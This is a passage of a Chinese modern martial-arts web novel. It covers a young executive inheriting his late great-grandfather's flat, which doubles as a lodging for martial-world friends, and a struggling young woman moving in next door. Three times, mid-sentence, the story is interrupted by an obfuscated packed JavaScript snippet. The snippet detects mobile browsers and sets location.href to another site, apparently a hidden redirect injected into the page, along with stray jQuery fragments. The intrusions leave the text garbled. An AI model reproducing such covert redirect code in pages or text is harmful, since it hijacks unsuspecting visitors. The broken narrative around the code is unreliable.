于是他又抠抠索索地把破衬衫捡了回来,打算剪一剪当抹布用。
这样当然省不出几分钱,但“节俭”本身,有时就好比是一支麻醉剂,能从精神层面上稍微麻痹一下穷的痛苦。
泥塘后巷的孟老板跟他大爷爷认识,看在老人的面子上,给了他们几句实话。
据说那个碰瓷团伙是刚从外地来的,有一点拳脚功夫,老太太最厉害。他们来燕宁,拿一些不入流的江湖手段到处坑蒙拐骗,专挑那种一看就比较“软柿子”的年轻人下手。
这几年社会安全教育比较到位,大家都明白命比钱金贵,迄今为止,受害者们都挺配合,一看事情不对,立刻乖乖认倒霉,双方一手交钱、一手放人,还算心平气和,没闹出过什么动手伤人的事。
泥塘后巷的老住户们多一事不如少一事,也就没人吱声。
孟老板加了于严微信,答应以后有什么线索,随时报告给民警同志。这事也就只能先这样了。
外卖还得等半个小时,喻兰川就打开电脑,准备干活。
他出去了这么一小会,微信和邮箱里已经跳出了十几个未读。这个世界就像透明的,每个人都一丝/不挂地被绑在一个终端上,各种信息二十四小时轰炸,一刻也不停息,哪怕耳边没有噪音,也让他觉得生活很嘈杂。
喻兰川漫无边际地想,还是古代好,大侠们动辄闭关,找个山旮旯一躲,谁都找不着。
……不过话说回来,闭关不带手机,就叫不了外卖了,这也是个问题。
他对着自己要连夜审的报告发了一会呆,脑子里跟戏台似的,心静不下来,就起来换了身宽松的运动服,到阳台上打了两趟拳。
这趟拳一共七式,是剑法的变形——他阳台太小,练剑施展不开——剑法是喻兰川的大爷爷手把手教他的,叫“寒江七诀”,讲究的是“沛然中正、平和开阔”,要有君子气象。
大爷爷以前总是念叨,“中华武学,博大精深,可惜流传下来的不多了”。这里面有多少失传的学问,喻兰川没有推敲过,他一直拿七诀剑当健身操练。浮躁的时候、疲惫的时候,不管是身还是心,哪不舒服,两趟走下来,出一身汗,准好。
大爷爷十五六岁那会,正赶上日军侵华,参加了民间的抗日组织,上过战场,被炮弹碎片炸伤,从那以后就失去了生育能力,所以把弟弟这一支的后人都视如己出。老头身体很硬朗,每年都跟别人说自己还小呢,才六十九,“六”了好几十年,至今竟然还有人信。
他晚年过得非常浪,拿着退休金,开着辆破破烂烂的越野车到处自驾游,觉得哪好,就在哪里住上一阵,这几年行踪越发飘渺,亲朋好友谁都找不着他,喻兰川有将近两年没见过他了。
大爷爷人路广,敢扛事,一辈子急公好义,有远道而来上门求助的,不管认识不认识,他都不嫌麻烦,这会,要是他老人家在燕宁,掘地三尺,也得把那个碰瓷团伙找出来,看看他们到底是天生的坏胚,还是遇上了什么困难。
喻兰川的整个少年时代,都是在他老人家身边长大的,最中二的那几年,他也曾希望长成一个老头那样的男人,头顶天、脚踩地,半碗二锅头敬到天涯海角,两袖长风,什么事都摆得平。
可是理想跟现实之间隔着十万光年,看看那些挂高数挂得死去活来的大学生吧,小时候有多少人都说过长大要当科学家的话?
喻兰川的中二病来去如风,病好了,就过上了高考、留学、升职加薪的主流人生,回过神来的时候,已经在与理想背道而驰的路上快马加鞭了好多年。
理想这玩意,离得太远,就会自动崩塌成异想天开的白日梦。
再说,他怎么可能像老头一样呢?
根本不现实。
毕竟老头有退休金,还没有房贷。
两趟拳打完,整个人好像轻了两斤,喻兰川就把阳台窗户推开,趴在窗棂上吹风消汗。
可能是要下雨,空气里渐渐升起一点泥土的腥气,湿哒哒的。
老头当年教他,一方面是哄他玩,一方面也是怕他久坐身体不好,逗他起来活动活动筋骨,没指望教出什么名堂来,因为喻兰川不像什么有长性的人,而且“寒江七诀”跟他有点气场不合——“沛然中正、平和开阔”这八个字,连标点都算上,哪个能跟喻总扯上关系?反正大爷爷是没看出来。
谁也没想到,他居然一练就练了十五年。
这时,手机响了,喻兰川以为是送外卖的到了,顺手接起来。
“喂,请问是喻兰川,喻先生吗?”
喻兰川:“嗯,上来吧,我给你开门。”
那边莫名其妙地顿了顿,说了声“不好意思”,又问:“请问喻怀德先生,是您的亲属吗?”
喻兰川一愣,胸口无端缩紧了——喻怀德就是他大爷爷。
“是我祖父,怎么了?”
“呃……先生,希望您节哀。”
喻怀德老人去年年底到了四川,有道是“少不入川,老不出蜀”,老头一到那,就喜欢上了,决定长住,乐淘淘地在蜀中玩了半年,东游西逛,遍尝川香,然后他感觉自己玩够了,时间也差不多到了,就找了个风景优美的山沟,进去拍了几张照片,把遗书和遗物塞进了相机包里,坐在一条小溪边,脱了鞋,脚丫子泡进清澈的溪水里,休息了一会,溘然长逝。三天以后,才有几个自驾游的游客发现了他。
活得非常神,死得也非常神。
喻兰川茫然地放下电话,一时回不过神来。
这时,远处响起一声闷雷,隆隆地卷过来,随后起了风,不到片刻光景,憋不住的大雨就毫无预兆地落了下来。
甘卿和她的猫头鹰室友在最后一秒冲进了地铁站,好歹没被浇成落汤鸡。
猫头鹰室友跑了一身汗,长发打着绺地黏在脸上,惊魂甫定的喘成一团。
甘卿平时不怎么坐地铁——地铁比公交贵,一进来就赶紧研究墙上的路线图。猫头鹰室友联系了一个朋友,带着甘卿一起去投
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728777|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奔,朋友家比较远,得横跨大半个城区,坐地铁还得换乘。
甘卿看明白了路线图,就说:“咱俩得快点,不然换乘的时候没准赶不上末班车,你……”
她话没说完,猫头鹰室友“嗷”一嗓子哭了。甘卿被这动静吓了一跳,惊讶地回头看她。
那女孩哭得就跟外面的暴风雨一样突然,连点缓冲都没有,一上来就嚎得忘乎所以。
“怎么这么倒霉啊……凭什么不让我住……凭什么扣我工资!凭什么下雨!凭什么来大姨妈啊!”
地铁站里有回音,把“大姨妈”仨字加持得气壮山河,晚归的乘客稀稀拉拉地经过,有的抬头看她一眼,有的塞着耳机匆匆走路,漠不关心。
甘卿:“我……给你……找点热水?”
猫头鹰室友捂着肚子蹲了下去,装行李的大包扔在脚下,东西太多,拉链崩开了一点,露出一只娃娃机里抓来的毛绒狗,她余光扫见,一把将那小狗揪出来,泄愤似的砸了出去,差点绊倒一个路人。
甘卿赶紧去跟人家道了歉,趿着拖鞋跑过去,把小狗捡回来,才刚给她放好,猫头鹰室友又给拽出来,再一次把倒霉的小狗抡了出去:“凭什么不让我扔!我的东西,我就扔!”
甘卿:“……”
没脾气了。
她无可奈何地在旁边叉了会腰,然后走到自动贩售机前,搜罗出几个钢镚,买了一瓶热饮,拍了拍猫头鹰室友的头,又把瓶盖给她拧开:“给。”
猫头鹰室友嚎声一哽,从膝盖上抬起两只眼,看了看她,打了个哭嗝,伸出小爪,磨磨蹭蹭地接过去。
甘卿替她拎起行李:“别蜷着,站起来走一走,不然一会肚子疼。”
猫头鹰室友张牙舞爪的哭声低了下去,过了一会,她吸了吸鼻涕,讷讷地站了起来。
“好了,别哭啦。”甘卿心平气和地说,“你看,虽然下雨,但是咱俩没挨浇。这么大的雨长不了,等咱们从地铁上去就该停了,哪倒霉了?你还有那么够意思的朋友,大半夜肯收留咱们,是你以前的同学吗?”
猫头鹰室友说:“不是,是我前男友的前女友。”
甘卿:“……”
猫头鹰室友又说:“我前男友是个渣。”
甘卿:“……看出来了。”
猫头鹰室友委屈地喝了一口热饮:“你比我前男友好多了。”
甘卿隐约觉得这话是夸她,被夸得无言以对,只好叹了口气:“快走吧。”
此后一个礼拜,甘卿一边在别人家里打地铺,一边四处找房子。
每年七八月份都是租房旺季,大批刚搬出学校的毕业生要落脚,再加上像甘卿一样被清理出来的人不少,都在找便宜的住处,一时间,市场更是紧俏,房租跳涨。有时候在网上搜半天,才能碰上个价格能接受的,打电话过去,不是已经租出去了,就是房东临时要加价。
而一个礼拜以后,她的猫头鹰室友终于坚持不下去了,把自己攒的优惠劵和毛绒狗留给了甘卿,要回老家了。
猫头鹰室友一走,甘卿也不好意思再在“前女友”家蹭住。
她提前关店下班,到天意小龙虾店里帮人抬了两箱啤酒,无所事事地转了好几圈,这才犹犹豫豫地溜达到后厨:“孟叔……您上回说找人照顾老太太的事,找着合适的人了吗?”
与此同时,处理完大爷爷后事的喻兰川带着老头的骨灰,回到了燕宁。
下飞机他打了辆车,告诉司机:“师傅,绒线胡同一百一十号院。”
他得先带老头回趟家。
8. 第七章
绒线胡同一百一十号院,其实应该算是个住宅小区,不过小区里只有一栋楼,所以大家也就这么叫下来了。
它以前是单位建的“公房”,建筑保留着过去老公房的特点:坐北朝南,每一层的北边都是一条狭长的公共楼道,从东头通到西头,南边一侧,则是一字并排的十户人家,大家共用一部电梯。后来,单位没了,公房也经过了“房改房”——由住户们自愿买下,成了能在市面上买卖的房产。
楼建于1990年,90年以后出生的娃都已经开始批量秃顶,同龄的楼房当然也没有青春靓丽到哪去。墙体斑驳,从生锈的栏杆到狭窄的楼梯,无不陈旧。
不过虽然楼的年纪大了点,小区里环境很好,人少清净,二十多年过去,树也都从容地长了起来,夏天往院里一走,感觉比外面凉快五度。位置也好,离CBD不到两站,走路十几分钟,小区西大门正对着一所双语幼儿园,东大门出来往前走五十米,前几年新搬来一所不错的公立小学,所以这里也算是成了“学区房”,一般老百姓还真买不起。
现在,在这院里住的,有为了学区名额全款买房的土豪;有为了孩子上幼儿园方便,月付上万租金的一般有钱人;也有老单位改制后就失去工作、就剩两间小屋的小院“土著”,凑齐了三教九流。
院里停的有百万豪车,也有看着要到报废年龄的小桑塔纳。不过在这种老小区里,一把都没有停车场,所以豪车也好、破车也好,都只能找犄角旮旯一塞,车轮上统一支起挡狗尿的小木板。
喻兰川到的时候,正赶上有人搬家。有个电动小四轮,在门口传达室引了根电线充电,堵了路,搬家公司的货车堵在门口进不来。
“门口谁家的电动车?劳驾挪一挪!”货车司机一边鸣笛一边嚷嚷,吼了好一会没人应声,他就从车上下来,放开了嗓门,“红的!四轮!车上写着‘祖传艾灸针灸理疗,寿衣、花圈优——惠——’谁家的啊?谁家的花圈优惠?挪一挪嘞!”
喻兰川:“……”
还是一条龙服务。
他懒得去跟热烘烘的货车挤,就在门口驻足等他们挪开。
这是他少年时经常流连的地方,小院一进门,有两排大槐树,中间是一条散步的小路,这会儿槐花早就谢了,只剩下层层叠叠的树叶,烈火似的盛夏阳光给那些枝叶一拦,就剩下零星几颗光斑,掉在地上,老槐曲折的枝干结着沧桑的结,微许潮湿的气息从浓郁的绿意里流露出来,透着几分红尘不扰的清寂意味。
一晃,十年了,楼旧了,老人没了,树也长大了。
大爷爷活了快一个世纪,又是个不走寻常路、动辄失联的老头,作为亲友,喻兰川其实早都做好了心理准备,现在谈不上多么哀恸。只是他捧着老头的骨灰站在这,忽然有点物是人非的感觉,好像一个时代,就这么在他不经意间烟消云散了。
老头遗物不多,除了那辆快要报废的破车,就剩下一点日用品和相机。他遗嘱里让喻兰川把最后那几张照片洗出来,作为他老人家的收官之作,并说明了包里的东西是留给喻兰川的。
包里除了遗嘱,还有两本小册子,其中一本是“寒江七诀”的剑谱,喻兰川已经烂熟于心。另一本他没见过,遗嘱里说,那是“寒江”一门的掌门衣钵,老头本人是第一百三十六任掌门,打算传位给喻兰川,让他当一百三十七任。
不过老头表示,他当不当都行,无所谓,反正“寒江剑派”也没有门徒。
“掌门衣钵”的内容主要分三部分,分别是“门规”、“修为”和“独门古方”,都是古时候传下来的。
“门规”一共有二十条,全是古文繁体字,喻兰川大学念的商学院,之后又留学海外、灌了一肚子洋墨,古文也就高中水平,一看就晕了,走马观花地翻到最后,终于找到了一排手写的简体字,是老头的字。
老头知道他的水平,特意写了注解,注解就很通俗了:“二十条门规,能逐条做到的都是圣贤,没必要细看,我等凡人,只要遵守国家法律法规和社会公序良俗就行。”
“修为”部分,则是历代掌门习武练功的感悟汇总,历代掌门文化水平不同,留下的“遗产”也多种多样,有的是佶屈聱牙的口诀,还有的伸胳膊踢腿的是火柴人。
这一部分,老头把注解写在了前头,注解透着股“心有天地宽”的味儿:“我想你大概看不懂,看不懂就慢慢看,慢慢看也不懂,那就拉倒吧。”
最后一部分是“独门古方”,这个喻兰川倒是听说过,相传古时候,不少门派都有自己独门的药方,治外伤、调内息、解毒——什么都有,神神秘秘的,药方不外传,属于门派传承的一部分。就像武侠小说里写的“生生造化丹”、“九转灵宝丸”之类。
喻兰川好奇地翻到最后一部分,想看看本门有什么不传之秘,结果就发现老头用墨水把那几页纸都涂了,还用大红字写道“这玩意不科学,有病去医院”。
后面跟着仨感叹号。
第一百三十七任掌门手捧这等衣钵,品了品,感觉本门的气数……可能也就这样了。
电动车主总算姗姗来迟,货车司机开始不满意地抱怨,人声拉回了喻兰川的注意力,他抬起头,表情有些复杂地望向院子里的十一层小楼。
老头的遗物里,最重要、也最不好处理的,可能就是这套房了。
老头家在十楼,小两居,套内大概有七十平米上下,方才喻兰川在路口的房屋中介那打听了一下,这样的房子市场价八百五十万,不含税。
这数字听着让工薪阶层头晕。
喻怀德老人没结过婚,也没有子女,从小和弟弟——也就是喻兰川的亲爷爷相依为命长大,喻兰川的祖父母前些年相继去世,他们家人丁稀少,他爸和他都是独生子。
喻兰川的亲爹喻建华受够了婚姻和家庭的桎梏,好不容易离了婚,就跟自由小鸟出笼似的,现在是个坚定的不婚主义。大爷爷去世,喻建华赶过去见了遗体一面,帮他一起料理了后事,就挥衣袖走了。至于遗产,他爸说:“反正到这一辈,咱家就剩你一个了,有什么东西将来也都是你的,你自己看着办吧。”
所以——这套房、理论上、是应该落在他手里的。
同一个世界,万千房奴狗做过的同一个梦。
……差一点就在他身上显灵了。
可惜,这并不是《简爱》后半本的故事,因为老头在遗嘱里还说了,这套房不能留给自家后人。
当年“房改房”的时候,要取得房子的产权,得交五万块钱——虽然现在看来跟白给差不多,但在二十多年前,五万对大多数人来说已经不是小数目了。
老头是条光棍,一向是赚多少花多少,别说五万,他连五千都拿不出来。这笔买房的钱,是他天南海北的各路朋友们听说他有困难,集体给凑的。
老头人缘太好,帮过的人太多,给他凑钱的人不知道有多少,有那些囊中羞涩的,只能掏个三五十块,都不好意思留名,也没打算让他还。
后来还没等老头弄明白应该还谁的钱,国内房价就跟经济一起腾飞了,五万的小公房第二年就翻了倍,之后在人们的目瞪口呆中,坐了火箭似的,一路飞上了天。
这时候再要去掰扯当年那五万
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728778|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,做人就差点意思了。
所以喻怀德老人说,这套房虽然挂在他名下,但不能算他的私产,他绝不会变卖,武林中朋友们有事来燕宁,都可以到这来。
也就是说,这差一点姓喻的学区房,是个武林盟的“驻燕宁办事处”。
喻兰川一想起这事,心都在滴血——这些不着调的玩意,就不能找个远郊区县成立办事处吗!
就在他顶着一张高冷的面孔暗自悲愤时,身后忽然有一阵风袭来,打向他后脑,喻兰川还沉浸在八百万里,没过脑子,身体本能地滑开一步,同时侧身沉肘,往后一撞。一根塑料拐棍游鱼似的从他手肘下溜走,迎着他偏移的重心扫向他肋下,喻兰川以手、肩、肘做剑,眨眼功夫,单手和那根好像要粘在他身上的拐棍过了十来招,直到那根拐棍差一点碰到大爷爷的骨灰盒,才堪堪停下。
喻兰川狼狈地扶了一下眼镜,这才看清,没事拿棍捅他的神经病是个老大爷。
老大爷胳膊上别着红袖箍,手里拎着根绿色的塑料拐棍,洗得很干净的白衬衣上打了几个时尚的补丁,戴一副玳瑁老花镜。
老大爷一低头,俩眼从老花镜上面射出目光,看了看骨灰盒,又看了看喻兰川,笑了:“喻大哥,宝贝孙子把你送回来啦!小川都长这么大了,刚才老远一看,杨爷爷差点没认出来。”
喻兰川一愣,堪堪忍住了脾气,再仔细一看,他想起来了,这位杨爷爷好像住在六层,跟他们家老头关系最好,以前经常一起钓鱼。
老杨把塑料拐棍夹在胳膊底下,也没看清有什么动作,好像只是轻飘飘地一伸手,就把骨灰盒接了过去。
喻兰川:“哎……”
“到家了,孩子,你让我送我老哥哥一程。”老杨冲他摆摆手,随后,脸上又有一点落寞,“浮梁月、寒江雪、堂前燕、穿林风……当年五绝,这些年,走得走、没得没,到现在,就剩下我一个老不死啦。”
五绝?这不是才四个吗?
喻兰川胆战心惊地看着老人蹒跚的背影,怕他把大爷爷摔了——因为听说不识数好像是老年痴呆的症状之一。
“后继也没人,就你们家小川有出息一点,还能接住我几棍,其他那些……唉,都什么玩意啊!”老杨絮絮叨叨地跟骨灰盒说话,“三年一次武林大会,你这一走可好,今年大家伙再来燕宁,奔着谁来呢?”
“对了,”老杨想起了什么,转头问喻兰川,“小川的七诀剑,练到几层了?”
喻兰川一头雾水:“……评级标准是什么?”
标普?
老杨听完,重重地叹了口气——黄鼠狼下耗子,一代不如一代。
老杨唉声叹气地领着大耗子喻兰川走进电梯间,已经有人在那等电梯了,喻兰川的目光从那人身上扫过,忽地一愣:“是你?”
甘卿实在找不着房子,没办法,只能厚着脸皮,把自己吐出去的话又捡回来吃了,灰头土脸地到孟老板的亲戚家求收留。为了给老太太留下个好印象,她今天特意拾掇了一下,翻出了除“工作服”以外唯一一条连衣裙,好好地梳了头发,别到耳后,露出光洁的额头和五官,看着很有人样了。
她本想“悄悄地进村,打枪的不要”,尽可能低调,没想到还没上楼,就碰上了这两位,真是倒霉催的。
甘卿的目光飞快地在老杨手上的塑料拐棍上溜了一眼,没敢多看,局促地给了喻兰川一个格外文静的微笑。
她笑起来的时候,露出尖尖的嘴角,不知为什么,喻兰川又有了那天在泥塘后巷里古怪的熟悉感,不由得多看了她两眼,疑惑地问:“你也在这住?”
9. 第八章
甘卿实在没想到他居然还记得自己,因为这位先生的形象气质很突出,一看就属于那种“天下妇女皆为庸脂俗粉,我宁可对着镜子跟自己谈恋爱”的品种。
所以她愣了一下,才很简短地回答:“刚搬来。”
“你是在孟老板那工作,对吧,”喻兰川说,“我记得他家有个亲戚也住这,他帮你找的房子吗?”
他话音刚落,老杨大爷的目光就转了过来,落在甘卿身上:“孟?是天意那小子?”
甘卿怀疑喻兰川吃错了药,打完招呼不算,居然还屈尊跟她搭起话来了!
老杨大爷打量的目光让她如坐针毡——浸淫武艺一辈子的老人,人身上每一块肌肉、每一块骨头应该怎么动、怎么发力,他都烂熟。别看他一双眼让花镜放大得像外星人,目光却仿佛含着紫电青霜,扫过来的时候,让人隐隐发疼。
甘卿假装没注意,不动声色地吸了口气,想尽量放松自己,谁知就在这时,右手偏偏掉了链子,她那两根微弯的手指不受控制地痉挛起来。
这一点细微的动静立刻落在了老杨眼里,老杨和颜悦色地问:“姑娘,手怎么了?”
甘卿抿嘴笑了笑,把行李换了下手,含糊地说:“东西有点沉。”
“帮人家一把。”老杨嘱咐了喻兰川一句,又说,“你这手是受过伤吧?”
喻兰川应声一弯腰,接过她的大包,同时注意到了她的手,手心有茧,即使是夏天,皮肤依然很干燥,疏于保养的指尖稀稀拉拉地长了几根倒刺,有被生活摧残过的痕迹。她扣住自己的右手腕,似乎努力想让僵硬的右手冷静下来,却反而因为紧绷而抖得更厉害,簌簌地震起了连衣裙的长袖。
看起来有点可怜。
“小时候在路边摔了一跤,手腕被三轮车碾过,”甘卿说,“我们老家那边医院不行,一直没太治好。”
“唉,这不就耽误了吗,”老杨慢吞吞地叹了口气,“年纪轻轻的,筋骨倒是小事,伤了经脉可不得了啊。”
甘卿装没听懂,干巴巴地附和。
老杨忽然往她这边迈了半步,随着他的动作,那根夹在他胳膊肘下的拐棍轻轻一歪,两人相隔大概有一米,在外行看来,其实就是老大爷抱骨灰盒抱累了,换个姿势站。
然而对于身在方寸间的甘卿来说,她一半以上的注意力其实都在那根拐棍上,拐棍歪的那一寸,好像隔空封住了她前后左右的活动空间,一种被困住的窒息感压了过来,让她本能地想避开。
而老杨正目光灼灼地等着她的动作。
就在这时,电梯门突然打开,涌出的气流夹着香水味扑面而来,一下冲散了那种窒息的氛围,甘卿绷紧的肌肉蓦地放松下来,就听有人说:“爷爷,您拿的这是什么?”
他们仨一起抬头,只见电梯里下来个女的,长发,绑了个松松垮垮的马尾,一脸玻尿酸,看不出多大年纪,她穿名牌、挎名牌包,脚底下踩着一双印了大logo的名牌鞋,从头到脚,宛如一个行走的奢侈品展示柜,行动间香风扑面,头顶金光闪闪的四个大字——老娘有钱。
“可别再往家捡破烂了啊,”女人说,“我早晨刚把您那破咸菜缸扔了。”
气定神闲的老杨大爷一见她,血压直线上升,高人风范顿时崩得荡然无存:“谁让你又扔我东西!”
“不扔就沤肥了。”女人抿了抿口香糖,冲老头吹了个泡泡,“您老没事打扮成要饭的就算了,我当您cosplay,可是要饭您就专心要啊,跨界捡什么破烂!啧……帅哥,让姐过一下。”
老杨大爷说:“大周末的,你抹得跟个妖精似的,又上哪兴风作浪去?”
“健身房啊,一个礼拜没去了,这破针打的,真耽误事。”
“我让你跟我练棍,你不练,非得花好多钱,上那个……那个什么房,跟个傻大个举铁锤,你……”
“爷爷,人家要练的是胸和屁股,练哪门子棍啊?我又不是孙悟空。”女人一甩头发,毫不避讳外人在场,口无遮拦,“再说您看您自己这样,有说服力吗,跟您练能练出什么?搓衣板吗?”
甘卿无端感觉自己双膝一痛。
老杨大爷气得脸红脖子粗,可能需要一颗速效救心丸。
女人笑了一声,扬长而去,离开的时候,还顺便朝喻兰川放了个电,引起了喻总的强烈不适——他有点后悔自己今天来得匆忙,穿得太低调。
经这么一搅合,老杨大爷的注意力总算从甘卿身上移开了,捂着心口,他老人家颤颤巍巍地扶住喻兰川的胳膊:“家门不幸,家门不幸啊!”
喻兰川上了电梯,按下“10”,扫了甘卿一眼,见她没动,就问:“十楼?”
甘卿:“嗯。”
“这么巧?”他想,“还挺有缘。”
杨大爷那口气还没顺过来,在旁边絮叨:“看看这不肖子孙,都成什么样!我将来下去,可没脸见祖师爷了……小川啊,我看小辈人里,也就剩下你了。老喻大哥没了,你以后就搬回来住吧,也多认识点朋友。”
喻兰川敷衍地一笑,心不在焉地想:“我一点也不想认识他们,我就想要那八百五十万。”
老式的电梯空间狭小,甘卿就在他身边不远的地方,喻兰川一垂眼,就能看见那张侧脸,她的眉骨平直,鼻梁很高,有一点无伤大雅的小驼峰,脸上一层薄薄的皮覆在骨头上,没有多余的肉,线条干净极了。
可能是鼻梁高的缘故,这个侧影再次唤起了他久远的回忆,让喻兰川觉得有点不可思议,因为她和记忆里的那个人南辕北辙,完全是两个极端。
他记得那个人像一团野火,哪怕在最黯淡的夜里,也能在几公里以外看见那种勃勃的生命力,灿烂而热烈。
至于眼前这位……啧,像个没油的打火机,按半天才能按出一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728779|189577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
簇干瘪的小火花,大概还不等人看清,“呲啦”一下又灭了。
老杨大爷——可能平时被自己孙女忽略习惯了,并没有发现喻兰川走神,还在喋喋不休:“老喻对这房子感情不一般,平时不少外地朋友来了,找不到地方落脚,都来这里找他。小川,杨爷爷说句管闲事的话,你可能不想回来住,也不想管它,但是能不能别卖给别人啊?”
“唉,”喻兰川无奈地想,“您别考验我良心了!”
电梯转眼就到,十楼的视野开阔,从楼上往下看,整个幽静的小院都尽收眼底,公共楼道虽然窄,却十分整洁,不知是谁家里正在炖肉,香味飘得满楼道都是。让他想起小时候,周末到大爷爷家来住,大爷爷总觉得他在学校吃得不好,会专门给他做一大桌子菜,煎炒烹炸,要是有那些家里不常做的“麻烦菜”,老头就会一次多做一点,出了锅再让他端着碗给邻居们送。
一百一十号院的邻居,和其他地方的邻居好像不是一个品种,喻兰川现在住的地方,连邻居是男是女都不知道。
他心里忽然一动,这房子要是实在不能卖,搬过来住,倒也不是不能考虑,好歹能省房租,上班还不用开车,就怕老头那些狐朋狗友老来打扰……
“就是这,谢谢。”甘卿轻轻地拉了一下喻兰川手里拎的包,“不好意思,麻烦了。”
喻兰川回过神来,把行李还给她,抬头一看门牌——1003——老头住1004,隔壁。
他记得隔壁的邻居好像是……
还没等他回忆起来,1003的门就从里面打开了,孟老板说他二姨姓张,甘卿赶紧站直了:“张奶……”
“奶奶”俩字噎在了她喉咙里。
只见这位传说中古稀之年的老太太,烫了一脑袋大/波浪卷,挑染了几根粉色,化了妆,又卷又翘的假睫毛尤其显眼,指甲上粘了一排能闪瞎狗眼的水钻,居家拖鞋上还打了粉色蝴蝶结。
老杨大爷在旁边重重地叹了口气,表情很是一言难尽。
“对了,”喻兰川面无表情地想,“邻居家是个盘丝洞,住了个喜欢对小男孩动手动脚的老妖婆。”
张奶奶开门一见喻兰川,立刻笑成了一朵花,睫毛扇子似的上下忽闪:“你就是我外甥找的房客?小帅哥有点眼熟哦,以前见过吗?”
“奶奶好,我爷爷让我给您送过炸藕盒。”喻兰川木着脸扶了一下眼镜,“我住隔壁,先走了。”
说完,他迈开长腿,一阵风似的从老妖婆面前刮走了。
张老太这才看清甘卿,沉默了一会,她气急败坏的拨通了孟老板的电话,怒吼:“谁让你给我找个女的!”
漏音的电话里传来孟老板更加气急败坏的回答:“行行好吧!我都一把年纪了,不想找个没我儿子大的小二姨夫!”
“……还是算了吧。”喻兰川想。
贵武林早该完犊子了。
10. 第九章
“喏,那个屋是你的。”张老太——大名张美珍——虽然对甘卿的性别很不满意,但人既然已经被自家外甥找来了,大概也不好直接轰出去,还是让她进了屋。
因为这个楼北边是楼道,所以所有卧室都是朝南的。虽然是次卧,但空间并不局促,窗明几净,一低头就能望见南小院成排的老槐,窗帘应该是刚刚换洗过,沾着温暖的洗涤剂味道,墙角还有一盆茂盛的玻璃海棠,红得肆无忌惮。
甘卿走进一百一十号院的时候,就打过一次退堂鼓。
不幸在电梯间撞上喻兰川和老杨大爷,她又打了一次退堂鼓。
到了1003,发现张老太不大喜欢她,她其实就已经打定了主意,不在这讨人嫌,稍坐一会就走。
至于住处,她也想好了,可以去孟老板那借几个塑料小凳,拼一拼,先在店里凑合睡。她没有传说中“悬绳卧梁”的本事,但塑料板凳大概也不至于摔死她。
一切的心理建设,都在这个房间面前溃不成军。
别说是向阳,有窗户的屋子是什么样,她都好久没见过了。
小楼在院落深处,院里茂密的植物隔开了马路上的噪音,汽车鸣笛声远得像针尖落地,站在窗边,以甘卿的耳力,甚至能听见客厅里小座钟的“嘀嗒”声,安静得近乎奢侈。
进来看了一眼,甘卿就决定豁出去,不要脸了。
张美珍倚在门口,撩了撩长发,问她:“你没有什么不好的生活习惯吧?”
不要脸的甘卿立刻回答:“没有,我绝对早睡早起、作息规律,晚上下班回来洗洗就睡,熄灯时间不超过十点半,早晨六点之前一定起,可以给您准备早饭。我不看电视,手机静音,不会带客人来,有快递让他们寄到店里。虽然没有洁癖,但能做到垃圾随时收、桌子随时擦,洗完脸顺带洗水池,头发绝对不堵下水道,您还有什么需要我干的,都可以告诉我。”
张美珍听完,哑口无言了好一会:“你……出家几年了?”
甘卿感觉这话不像夸她,没敢贸然接,只好微笑。
“我不吃早饭,你不用管我,十点之前也别找我,”张美珍摆摆手,“晚上有时候出去玩,回来得晚,我自己会带钥匙,你不用留门——不过万一喝多了,可能会弄出点动静来,你不神经衰弱吧?”
甘卿消化了一下老太太的话,赶紧敬畏地摇头。
“那就好。”张美珍对着天花板翻了个白眼,跟她没什么话好说了,于是对甘卿念了声佛,“阿弥陀佛。”
这年头,老人都在发少年狂,青年们都在哆哆嗦嗦地搜索医疗保险。
厚着脸皮,甘卿在新窝住下了。
这里实在太舒服了,洗澡的时候没有尿急的室友在外面砸门,双人床不但能伸开脚,还能来回滚。洗手间里没有彻夜响个不停的水声,也没有人不停地趿着拖鞋进进出出,安静得她不习惯,第一天居然有点失眠,于是她披上衣服起来,走到窗边晒月亮。
张美珍女士还没回来,今天倒不是出门浪——她去了隔壁。
隔壁这会灯火通明,很多人都在,一百一十号院的、远道而来的,屋里坐不下,他们就挤在楼道里,等着排队进去,给喻怀德老人上一炷香。
甘卿年幼的时候,曾经见过那位老人一面,记得他非常慈祥,总是未语先笑,辈分高、剑法一绝,人们有事都找他出面调停,有一次聚会,众人喝多了起哄,说是要给老头磕头,拜他为盟主。喻老当然不肯受,但是从那以后,“喻盟主”就叫开了。
开着窗户,甘卿能听见隔壁南腔北调的人声,人们说话声音都压得很低、很肃穆,一点也不吵,然后有人用口琴吹起了《送别》。
单薄而悠扬的口琴声撩拨着仲夏之夜,无伤大雅地走着调。
她侧耳听着,有些出神。
问君此去几时来,来时莫徘徊。
